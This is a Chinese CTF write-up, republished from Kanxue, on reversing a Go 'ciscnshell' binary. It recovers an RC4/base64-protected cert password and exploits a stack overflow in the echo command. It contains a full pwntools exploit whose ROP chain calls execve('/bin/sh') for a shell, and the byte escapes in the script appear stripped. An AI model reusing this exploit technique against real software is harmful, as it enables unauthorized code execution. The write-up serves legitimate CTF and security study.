一次简单的golang栈溢出

admin 2024年5月19日22:58:42评论4 views字数 2781阅读9分16秒阅读模式

逻辑分析

将附件拖入ida,根据字符串可判断为go语言编写的程序:

一次简单的golang栈溢出

动态运行发现是编写的一个简易shell,并且需要一个Cert才能正常工作:

一次简单的golang栈溢出

逆向golang程序时,ida反编译功能基本报废,最好的办法就是看汇编。golang中的函数调用约定和标准的函数调用约定有所区别:传参用到的寄存器依次是:AX,BX,CX,DI,SI,R8,R9,R10,R11。接下来开始逆向工作。

首先根据报错字符串"Cert Is A Must"定位到地址0x4C1FC0处的函数,此函数依次将报错字符串从rodata段取出放到.bss段中以供后续调用:

一次简单的golang栈溢出

根据字符串"Cert Is A Must"的交叉引用可以找到解析输入的函数,地址为0x4C1900。该函数首先会判断全局变量qword_5D1128是否为0,如果为0就去比较[rax]是否为指向字符串"cert"的字符串指针,[rax+8]处是否为4,任意条件不满足就会触发"Cert Is A Must"的报错:

一次简单的golang栈溢出

直接使用gdb进行动态调试,将断点打在此函数开头处,观察rax寄存器的值:

一次简单的golang栈溢出

一次简单的golang栈溢出

可以发现用户输入被空格分开了,并且使用指针+长度的结构进行储存,rax指向的就是这样一个结构的数组。对应的rbx是这个数组的长度。所以只要用户输入被空格分开后的第一部分为字符串"cert"即可绕过报错"Cert Is A Must":

一次简单的golang栈溢出

紧接着的是报错"Missing parameter",继续分析汇编,如果用户输入的第一部分为"cert"即可来到loc_4C1A24:

一次简单的golang栈溢出

这里会再次比较输入的第一部分的长度,如果长度大于3就执行右边的逻辑块,小于三九执行左边的逻辑块。"cert"长度为4,所以会进入右边,这时候程序会判断用户输入是"cert"还是"echo",如果为"cert",就会检查rbx的值是否为3,如果不是3就会触发报错"Missing parameter":

一次简单的golang栈溢出

根据上文的分析,rbx就是输入被空格分割成的份数,所以输入格式应该为"cert xxx xxx"。继续分析汇编,如果rbx为3,程序就会去判断输入的第二部分长度是否为9,并且和字符串"nAcDsMicN"进行比对,如果不同就会触发报错"Internal Err0r":

一次简单的golang栈溢出

相同会进入0x4C14A0处的cert的解析函数,并且将输入的第三部分和其长度作为参数:

一次简单的golang栈溢出

解析函数首先会进行rc4处理,然后再进行base64处理再和字符串“JLIX8pbSvYZu/WaG”进行比较,如果相同就会输出成功提示,并将全局变量qword_5D1128赋值为1。动态调试即可提取出rc4的key,将字符串base64解码、异或rc4的key即可得出要输入的值。脚本如下:

from pwn import *
my=b'nihaonihaoni'
my_c=p64(0xdfb5dbb8c64ce819)+p32(0xce2bd261)
key=[0]*12
for i in range(12):
key[i]=my[i]^my_c[i]

final_base64=b"JLIX8pbSvYZu/WaG"
#00000000 24 b2 17 f2 96 d2 bd 86 6e fd 66 86 |$².ò.Ò½.nýf.|
final=b'x24xb2x17xf2x96xd2xbdx86x6exfdx66x86'

res=[0]*12
for i in range(12):
res[i]=final[i]^key[i]
print(bytes(res))

#S33UAga1n@#!
#nAcDsMicN
#cert nAcDsMicN S33UAga1n@#!

得出输入第三部分为"S33UAga1n@#!",所以输入"cert nAcDsMicN S33UAga1n@#!"之后即可通过检查,将qword_5D1128赋值为1,再次进入0x4C1900处的函数是就会直接跳过cert的判断,之后即可正常进行交互:

一次简单的golang栈溢出

简单分析汇编逻辑会发现只有ls、cat、whoami、cd、echo这几个命令,其中cd会调用chdir函数,ls会执行ls -al命令,whoami和cat是调用的print打印写死的东西而echo的处理函数中存在溢出,在0x4C1854附近:

一次简单的golang栈溢出

rax为索引,格式为echo part1 part2 part3 part4 ....,每个part最多0x200,总共加起来最多0x400,echo处理函数会将各个part整合起来写在栈上,如果有“+”则跳过栈上对应的位置的数据。而rsp+0x68距离返回地址的距离只有0x200多,所以存在一个栈溢出漏洞,构造payload进行rop即可。

exp

from pwn import *
context.log_level="debug"
sh=process("./pwn")
cert=b'cert nAcDsMicN S33UAga1n@#!'
sh.sendlineafter(b"ciscnshell$ ", cert)

syscall=0x000000000040328c
rdi=0x0000000000444fec
rsi=0x000000000041e818
rdx=0x000000000049e11d
rax=0x000000000040d9e6
binsh=0x4C38E7
bss=0x5A34A0
ropchan=p64(rdi)+p64(0)+p64(rsi)+p64(bss)+p64(rdx)+p64(0x8)+p64(rax)+p64(0)+p64(syscall)
ropchan+=p64(rdi)+p64(bss)+p64(rsi)+p64(0)+p64(rdx)+p64(0)+p64(rax)+p64(0x3b)+p64(syscall)
# +(p64(rdi)[:3]).ljust(8,b'+')
length= (0x210-0x13)
r=length//8
y=length%8
payload=b'echo'
for i in range(r):
payload+=b' '
payload+=b'a'*8
payload+=b' '+b'a'*y
payload+=b' '+b'+'*38
payload+=b' '+ropchan
# gdb.attach(sh,"b *0x4C1882nc")
sh.sendlineafter(b"nightingale# ", payload)
# input()
sleep(1)
sh.send(b"/bin/shx00")
sh.interactive()

总结

遇到golang逆向或者pwn直接放弃伪代码边看汇编边调试。

一次简单的golang栈溢出

看雪ID:/x01

https://bbs.kanxue.com/user-home-929564.htm

*本文为看雪论坛优秀文章,由 /x01 原创,转载请注明来自看雪社区
一次简单的golang栈溢出

# 

原文始发于微信公众号(看雪学苑):一次简单的golang栈溢出

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月19日22:58:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   一次简单的golang栈溢出http://cn-sec.com/archives/2019963.html

发表评论

匿名网友 填写信息